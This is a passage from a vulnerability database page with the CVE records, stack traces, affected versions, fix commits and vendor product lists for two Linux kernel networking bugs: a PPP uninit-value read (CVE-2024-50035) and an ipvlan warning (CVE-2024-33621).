In the Linux kernel, the following vulnerability has been resolved: ppp: fix ppp_async_encode() illegal access syzbot reported an issue in ppp_async_encode() [1] In this case, pppoe_sendmsg() is called with a zero size. Then ppp_async_encode() is called with an empty skb. BUG: KMSAN: uninit-value in ppp_async_encode drivers/net/ppp/ppp_async.c:545 [inline] BUG: KMSAN: uninit-value in ppp_async_push+0xb4f/0x2660 drivers/net/ppp/ppp_async.c:675 ppp_async_encode drivers/net/ppp/ppp_async.c:545 [inline] ppp_async_push+0xb4f/0x2660 drivers/net/ppp/ppp_async.c:675 ppp_async_send+0x130/0x1b0 drivers/net/ppp/ppp_async.c:634 ppp_channel_bridge_input drivers/net/ppp/ppp_generic.c:2280 [inline] ppp_input+0x1f1/0xe60 drivers/net/ppp/ppp_generic.c:2304 pppoe_rcv_core+0x1d3/0x720 drivers/net/ppp/pppoe.c:379 sk_backlog_rcv+0x13b/0x420 include/net/sock.h:1113 __release_sock+0x1da/0x330 net/core/sock.c:3072 release_sock+0x6b/0x250 net/core/sock.c:3626 pppoe_sendmsg+0x2b8/0xb90 drivers/net/ppp/pppoe.c:903 sock_sendmsg_nosec net/socket.c:729 [inline] __sock_sendmsg+0x30f/0x380 net/socket.c:744 ____sys_sendmsg+0x903/0xb60 net/socket.c:2602 ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656 __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742 __do_sys_sendmmsg net/socket.c:2771 [inline] __se_sys_sendmmsg net/socket.c:2768 [inline] __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768 x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Uninit was created at: slab_post_alloc_hook mm/slub.c:4092 [inline] slab_alloc_node mm/slub.c:4135 [inline] kmem_cache_alloc_node_noprof+0x6bf/0xb80 mm/slub.c:4187 kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:587 __alloc_skb+0x363/0x7b0 net/core/skbuff.c:678 alloc_skb include/linux/skbuff.h:1322 [inline] sock_wmalloc+0xfe/0x1a0 net/core/sock.c:2732 pppoe_sendmsg+0x3a7/0xb90 drivers/net/ppp/pppoe.c:867 sock_sendmsg_nosec net/socket.c:729 [inline] __sock_sendmsg+0x30f/0x380 net/socket.c:744 ____sys_sendmsg+0x903/0xb60 net/socket.c:2602 ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656 __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742 __do_sys_sendmmsg net/socket.c:2771 [inline] __se_sys_sendmmsg net/socket.c:2768 [inline] __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768 x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f CPU: 1 UID: 0 PID: 5411 Comm: syz.1.14 Not tainted 6.12.0-rc1-syzkaller-00165-g360c1f1f24c6 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/4151ec65abd755133…
https://git.kernel.org/stable/c/8dfe93901b410ae41…
https://git.kernel.org/stable/c/30d91a478d58cbae3…
https://git.kernel.org/stable/c/fadf8fdb3110d3138…
https://git.kernel.org/stable/c/ce249a4c68d0ce27a…
https://git.kernel.org/stable/c/8fe992ff3df493d19…
https://git.kernel.org/stable/c/c007a147972406070…
https://git.kernel.org/stable/c/40dddd4b8bd08a694…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 4151ec65abd755133ebec687218fadd2d2631167 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8dfe93901b410ae41264087427f3b9f389388f83 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 30d91a478d58cbae3dbaa8224d17d0d839f0d71b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < fadf8fdb3110d3138e05c3765f645535434f8d76 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < ce249a4c68d0ce27a8c5d853338d502e2711a314 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8fe992ff3df493d1949922ca234419f3ede08dff (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < c007a14797240607038bd3464501109f408940e2 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 40dddd4b8bd08a69471efd96107a4e1c73fabefc (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50035",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:25:33.483652Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:28:45.143Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:40.958Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:50.600Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ppp/ppp_async.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4151ec65abd755133ebec687218fadd2d2631167",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8dfe93901b410ae41264087427f3b9f389388f83",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "30d91a478d58cbae3dbaa8224d17d0d839f0d71b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "fadf8fdb3110d3138e05c3765f645535434f8d76",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "ce249a4c68d0ce27a8c5d853338d502e2711a314",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8fe992ff3df493d1949922ca234419f3ede08dff",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "c007a14797240607038bd3464501109f408940e2",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "40dddd4b8bd08a69471efd96107a4e1c73fabefc",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ppp/ppp_async.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nppp: fix ppp_async_encode() illegal access\n\nsyzbot reported an issue in ppp_async_encode() [1]\n\nIn this case, pppoe_sendmsg() is called with a zero size.\nThen ppp_async_encode() is called with an empty skb.\n\nBUG: KMSAN: uninit-value in ppp_async_encode drivers/net/ppp/ppp_async.c:545 [inline]\n BUG: KMSAN: uninit-value in ppp_async_push+0xb4f/0x2660 drivers/net/ppp/ppp_async.c:675\n  ppp_async_encode drivers/net/ppp/ppp_async.c:545 [inline]\n  ppp_async_push+0xb4f/0x2660 drivers/net/ppp/ppp_async.c:675\n  ppp_async_send+0x130/0x1b0 drivers/net/ppp/ppp_async.c:634\n  ppp_channel_bridge_input drivers/net/ppp/ppp_generic.c:2280 [inline]\n  ppp_input+0x1f1/0xe60 drivers/net/ppp/ppp_generic.c:2304\n  pppoe_rcv_core+0x1d3/0x720 drivers/net/ppp/pppoe.c:379\n  sk_backlog_rcv+0x13b/0x420 include/net/sock.h:1113\n  __release_sock+0x1da/0x330 net/core/sock.c:3072\n  release_sock+0x6b/0x250 net/core/sock.c:3626\n  pppoe_sendmsg+0x2b8/0xb90 drivers/net/ppp/pppoe.c:903\n  sock_sendmsg_nosec net/socket.c:729 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:744\n  ____sys_sendmsg+0x903/0xb60 net/socket.c:2602\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656\n  __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742\n  __do_sys_sendmmsg net/socket.c:2771 [inline]\n  __se_sys_sendmmsg net/socket.c:2768 [inline]\n  __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768\n  x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was created at:\n  slab_post_alloc_hook mm/slub.c:4092 [inline]\n  slab_alloc_node mm/slub.c:4135 [inline]\n  kmem_cache_alloc_node_noprof+0x6bf/0xb80 mm/slub.c:4187\n  kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:587\n  __alloc_skb+0x363/0x7b0 net/core/skbuff.c:678\n  alloc_skb include/linux/skbuff.h:1322 [inline]\n  sock_wmalloc+0xfe/0x1a0 net/core/sock.c:2732\n  pppoe_sendmsg+0x3a7/0xb90 drivers/net/ppp/pppoe.c:867\n  sock_sendmsg_nosec net/socket.c:729 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:744\n  ____sys_sendmsg+0x903/0xb60 net/socket.c:2602\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656\n  __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742\n  __do_sys_sendmmsg net/socket.c:2771 [inline]\n  __se_sys_sendmmsg net/socket.c:2768 [inline]\n  __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768\n  x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nCPU: 1 UID: 0 PID: 5411 Comm: syz.1.14 Not tainted 6.12.0-rc1-syzkaller-00165-g360c1f1f24c6 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:44:14.079Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4151ec65abd755133ebec687218fadd2d2631167"
        },
        {
          "url": "https://git.kernel.org/stable/c/8dfe93901b410ae41264087427f3b9f389388f83"
        },
        {
          "url": "https://git.kernel.org/stable/c/30d91a478d58cbae3dbaa8224d17d0d839f0d71b"
        },
        {
          "url": "https://git.kernel.org/stable/c/fadf8fdb3110d3138e05c3765f645535434f8d76"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce249a4c68d0ce27a8c5d853338d502e2711a314"
        },
        {
          "url": "https://git.kernel.org/stable/c/8fe992ff3df493d1949922ca234419f3ede08dff"
        },
        {
          "url": "https://git.kernel.org/stable/c/c007a14797240607038bd3464501109f408940e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/40dddd4b8bd08a69471efd96107a4e1c73fabefc"
        }
      ],
      "title": "ppp: fix ppp_async_encode() illegal access",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50035",
    "datePublished": "2024-10-21T19:39:36.460Z",
    "dateReserved": "2024-10-21T12:17:06.070Z",
    "dateUpdated": "2026-05-12T11:59:50.600Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-33621 (GCVE-0-2024-33621)

Vulnerability from cvelistv5 – Published: 2024-06-21 10:18 – Updated: 2026-05-12 11:51

Title

ipvlan: Dont Use skb->sk in ipvlan_process_v{4,6}_outbound

Summary

In the Linux kernel, the following vulnerability has been resolved: ipvlan: Dont Use skb->sk in ipvlan_process_v{4,6}_outbound Raw packet from PF_PACKET socket ontop of an IPv6-backed ipvlan device will hit WARN_ON_ONCE() in sk_mc_loop() through sch_direct_xmit() path. WARNING: CPU: 2 PID: 0 at net/core/sock.c:775 sk_mc_loop+0x2d/0x70 Modules linked in: sch_netem ipvlan rfkill cirrus drm_shmem_helper sg drm_kms_helper CPU: 2 PID: 0 Comm: swapper/2 Kdump: loaded Not tainted 6.9.0+ #279 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 RIP: 0010:sk_mc_loop+0x2d/0x70 Code: fa 0f 1f 44 00 00 65 0f b7 15 f7 96 a3 4f 31 c0 66 85 d2 75 26 48 85 ff 74 1c RSP: 0018:ffffa9584015cd78 EFLAGS: 00010212 RAX: 0000000000000011 RBX: ffff91e585793e00 RCX: 0000000002c6a001 RDX: 0000000000000000 RSI: 0000000000000040 RDI: ffff91e589c0f000 RBP: ffff91e5855bd100 R08: 0000000000000000 R09: 3d00545216f43d00 R10: ffff91e584fdcc50 R11: 00000060dd8616f4 R12: ffff91e58132d000 R13: ffff91e584fdcc68 R14: ffff91e5869ce800 R15: ffff91e589c0f000 FS: 0000000000000000(0000) GS:ffff91e898100000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f788f7c44c0 CR3: 0000000008e1a000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <IRQ> ? __warn (kernel/panic.c:693) ? sk_mc_loop (net/core/sock.c:760) ? report_bug (lib/bug.c:201 lib/bug.c:219) ? handle_bug (arch/x86/kernel/traps.c:239) ? exc_invalid_op (arch/x86/kernel/traps.c:260 (discriminator 1)) ? asm_exc_invalid_op (./arch/x86/include/asm/idtentry.h:621) ? sk_mc_loop (net/core/sock.c:760) ip6_finish_output2 (net/ipv6/ip6_output.c:83 (discriminator 1)) ? nf_hook_slow (net/netfilter/core.c:626) ip6_finish_output (net/ipv6/ip6_output.c:222) ? __pfx_ip6_finish_output (net/ipv6/ip6_output.c:215) ipvlan_xmit_mode_l3 (drivers/net/ipvlan/ipvlan_core.c:602) ipvlan ipvlan_start_xmit (drivers/net/ipvlan/ipvlan_main.c:226) ipvlan dev_hard_start_xmit (net/core/dev.c:3594) sch_direct_xmit (net/sched/sch_generic.c:343) __qdisc_run (net/sched/sch_generic.c:416) net_tx_action (net/core/dev.c:5286) handle_softirqs (kernel/softirq.c:555) __irq_exit_rcu (kernel/softirq.c:589) sysvec_apic_timer_interrupt (arch/x86/kernel/apic/apic.c:1043) The warning triggers as this: packet_sendmsg packet_snd //skb->sk is packet sk __dev_queue_xmit __dev_xmit_skb //q->enqueue is not NULL __qdisc_run sch_direct_xmit dev_hard_start_xmit ipvlan_start_xmit ipvlan_xmit_mode_l3 //l3 mode ipvlan_process_outbound //vepa flag ipvlan_process_v6_outbound ip6_local_out __ip6_finish_output ip6_finish_output2 //multicast packet sk_mc_loop //sk->sk_family is AF_PACKET Call ip{6}_local_out() with NULL sk in ipvlan as other tunnels to fix this.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/0049a623dfbbb4988…
https://git.kernel.org/stable/c/54768bacfde60e8e4…
https://git.kernel.org/stable/c/1abbf079da59ef559…
https://git.kernel.org/stable/c/183c4b416454b9983…
https://git.kernel.org/stable/c/cb53706a3403ba67f…
https://git.kernel.org/stable/c/54213c09801e0bd25…
https://git.kernel.org/stable/c/13c4543db34e0da5a…
https://git.kernel.org/stable/c/b3dc6e8003b500861…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2ad7bf3638411cb547f2823df08166c13ab04269 , < 0049a623dfbbb49888de7f0c2f33a582b5ead989 (git) Affected: 2ad7bf3638411cb547f2823df08166c13ab04269 , < 54768bacfde60e8e4757968d79f8726711dd2cf5 (git) Affected: 2ad7bf3638411cb547f2823df08166c13ab04269 , < 1abbf079da59ef559d0ab4219d2a0302f7970761 (git) Affected: 2ad7bf3638411cb547f2823df08166c13ab04269 , < 183c4b416454b9983dc1b8aa0022b748911adc48 (git) Affected: 2ad7bf3638411cb547f2823df08166c13ab04269 , < cb53706a3403ba67f4040b2a82d9cf79e11b1a48 (git) Affected: 2ad7bf3638411cb547f2823df08166c13ab04269 , < 54213c09801e0bd2549ac42961093be36f65a7d0 (git) Affected: 2ad7bf3638411cb547f2823df08166c13ab04269 , < 13c4543db34e0da5a7d2f550b6262d860f248381 (git) Affected: 2ad7bf3638411cb547f2823df08166c13ab04269 , < b3dc6e8003b500861fa307e9a3400c52e78e4d3a (git)
Linux	Linux	Affected: 3.19 Unaffected: 0 , < 3.19 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:20:25.979Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0049a623dfbbb49888de7f0c2f33a582b5ead989"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/54768bacfde60e8e4757968d79f8726711dd2cf5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1abbf079da59ef559d0ab4219d2a0302f7970761"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/183c4b416454b9983dc1b8aa0022b748911adc48"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cb53706a3403ba67f4040b2a82d9cf79e11b1a48"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/54213c09801e0bd2549ac42961093be36f65a7d0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/13c4543db34e0da5a7d2f550b6262d860f248381"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b3dc6e8003b500861fa307e9a3400c52e78e4d3a"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-33621",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:09:47.521739Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:46.366Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:54.925Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ipvlan/ipvlan_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0049a623dfbbb49888de7f0c2f33a582b5ead989",
              "status": "affected",
              "version": "2ad7bf3638411cb547f2823df08166c13ab04269",
              "versionType": "git"
            },
            {
              "lessThan": "54768bacfde60e8e4757968d79f8726711dd2cf5",
              "status": "affected",
              "version": "2ad7bf3638411cb547f2823df08166c13ab04269",
              "versionType": "git"
            },
            {
              "lessThan": "1abbf079da59ef559d0ab4219d2a0302f7970761",
              "status": "affected",
              "version": "2ad7bf3638411cb547f2823df08166c13ab04269",
              "versionType": "git"
            },
            {
              "lessThan": "183c4b416454b9983dc1b8aa0022b748911adc48",
              "status": "affected",
              "version": "2ad7bf3638411cb547f2823df08166c13ab04269",
              "versionType": "git"
            },
            {
